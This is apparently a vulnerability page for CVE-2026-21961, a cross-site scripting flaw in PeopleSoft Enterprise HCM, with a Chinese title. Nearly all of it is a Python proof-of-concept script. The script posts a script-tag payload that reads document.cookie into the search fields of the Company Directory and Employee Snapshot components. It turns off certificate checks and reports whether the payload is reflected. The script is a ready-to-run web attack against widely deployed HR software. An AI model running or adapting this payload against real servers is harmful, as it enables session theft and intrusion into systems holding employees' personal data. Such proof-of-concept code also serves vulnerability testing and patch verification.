CVE-2026-21961: PeopleSoft Enterprise HCM Human Resources 跨站脚本漏洞

# CVE-2026-21961 PoC - PeopleSoft XSS in Company Dir/Org Chart Viewer # This PoC demonstrates the XSS vulnerability in PeopleSoft Enterprise HCM import requests import urllib3 urllib3.disable_warnings() target_url = "https://vulnerable-server/psp/HR92DEV/EMPLOYEE/HRMS/c/COMPANY_DIR.GBL" # XSS payload for Company Dir/Org Chart Viewer xss_payload = "<script>alert(document.cookie)</script>" # For Employee Snapshot component snapshot_url = "https://vulnerable-server/psp/HR92DEV/EMPLOYEE/HRMS/c/EMPLOYEE_SNAPSHOT.GBL" def test_xss_vulnerability(url, payload): """Test for XSS vulnerability in PeopleSoft components""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } # Parameters that might be vulnerable (COMPANY_DIR and EMPLOYEE_SNAPSHOT) data = { 'ICAction': 'SEARCHBTN', # Search button action 'COMPANY': xss_payload, 'NAME': xss_payload, } try: response = requests.post(url, headers=headers, data=data, verify=False, timeout=30) if xss_payload in response.text: print(f"[+] Potential XSS vulnerability found at: {url}") return True else: print(f"[-] No obvious XSS reflection detected") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2026-21961 PoC - PeopleSoft XSS Test") print("Target: PeopleSoft Enterprise HCM 9.2") print("Component: Company Dir / Org Chart Viewer, Employee Snapshot") test_xss_vulnerability(target_url, xss_payload) test_xss_vulnerability(snapshot_url, xss_payload)